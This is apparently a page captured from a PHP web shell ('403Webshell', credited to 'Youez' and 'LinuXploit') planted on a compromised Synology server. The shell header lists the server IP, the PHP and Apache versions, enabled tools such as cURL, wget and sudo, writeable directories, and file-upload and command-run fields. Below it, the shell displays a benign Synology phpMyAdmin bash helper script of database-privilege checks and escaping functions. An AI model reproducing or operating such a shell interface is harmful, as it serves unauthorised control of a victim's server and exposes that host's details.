403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/packages/phpMyAdmin/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/packages/phpMyAdmin/scripts/common
#!/bin/bash
# Copyright (c) 2000-2017 Synology Inc. All rights reserved.

. "$(dirname "$0")"/string_loader
. "$(dirname "$0")"/../WIZARD_UIFILES/wizard_common
. "$(dirname "$0")"/../WIZARD_UIFILES/wizard_customized

SYNOLOGY_ADDED_PATH="/var/packages/$PKG_NAME/target/synology_added"
PKG_NGINX_CONFIG="www.$PKG_NAME.conf"
NGINX_CONF_PATH="/usr/local/etc/nginx/conf.d/"
MYSQL="/usr/local/mariadb10/bin/mysql"
UNIX_SOCKET="/run/mysqld/mysqld10.sock"

DBAdminCheck()
{
	local user="$1"
	local password="$2"
	local mysql="$3"
	local error_msg="$4"

	# Check admin's account and password
	if ! $mysql -u "$user" --password="$password" -e "exit"; then
		echo "$wizard_admin_info_error" >> "$SYNOPKG_TEMP_LOGFILE"
		return 1
	fi

	# Check whether the account have all privileges *.* or not
	$mysql -u "$user" --password="$password" -e "SHOW GRANTS FOR ${user}@localhost" | grep -q "GRANT ALL PRIVILEGES ON \*\.\* TO \('${user}'@'localhost'\|\`${user}\`@\`localhost\`\).* WITH GRANT OPTION.*"
	if [ $? -eq 1 ]; then
		echo "$error_msg" >> "$SYNOPKG_TEMP_LOGFILE"
		return 1
	fi
	return 0
}

CustomRemoveBackupConf()
{
	local backup_info="/var/packages/.$PKG_DIR.conf"
	[ -s "$backup_info" ] && rm -f "$backup_info"
}

CustomMoveLegacyBackupWebDir()
{
	local legacy_backup_path="$1"
	local backup_web_dir="$(GetBackupWebDir)"
	mkdir -p "${backup_web_dir}"
	for item in $(ls -A $legacy_backup_path/ | grep -v backup_web_dir); do
		cp -a "$legacy_backup_path/$item" "${backup_web_dir}/"
	done
}

CustomChangeDBUserInfo()
{
	:
}

CustomRemove()
{
	:
}

CustomPreupgrade()
{
	:
}

CustomPreuninst()
{
	:
}

CustomBackupData()
{
	:
}

CustomPostuninst()
{
	:
}

CustomPreinst()
{
	:
}

CustomPostinst()
{
	:
}

CustomRestore()
{
	:
}

CustomRestoreUpgrade()
{
	:
}

CustomUseUnixSocket()
{
	:
}

CustomSetCleanNew()
{
	:
}

CustomNewInst()
{
	:
}

CustomSetInit()
{
	:
}

CustomWriteInfo()
{
	:
}

CustomPostupgrade()
{
	:
}

CustomStart()
{
	:
}

CustomStop()
{
	:
}

QuoteSQLString()
{
	sed -e 's|\\|\\\\|g' -e 's|`|\\`|g'
}

QuoteSed()
{
	sed -e 's|\\|\\\\|g' -e 's|&|\\\&|g'
}

QuotePHP()
{
	sed -e 's|\\|\\\\|g' -e "s|'|\\\\'|g"
}

QuoteSh()
{
	sed -e 's|\\|\\\\|g' -e 's|\"|\\\"|g' -e 's|`|\\`|g' -e 's|\$|\\\$|g'
}

EscapeSlashDelimiterAndSingleQuote()
{
	sed -e "s|'|\\\\'|g" -e 's|/|\\\/|g'
}

EscapeStandardSedString()
{
	QuoteSed | EscapeSlashDelimiterAndSingleQuote
}

EscapeStandardSedStringOnPHP()
{
	QuotePHP | EscapeStandardSedString
}

# must be in the last for overriding
. "$(dirname "$0")"/script_customized

Youez - 2016 - github.com/yon3zu
LinuXploit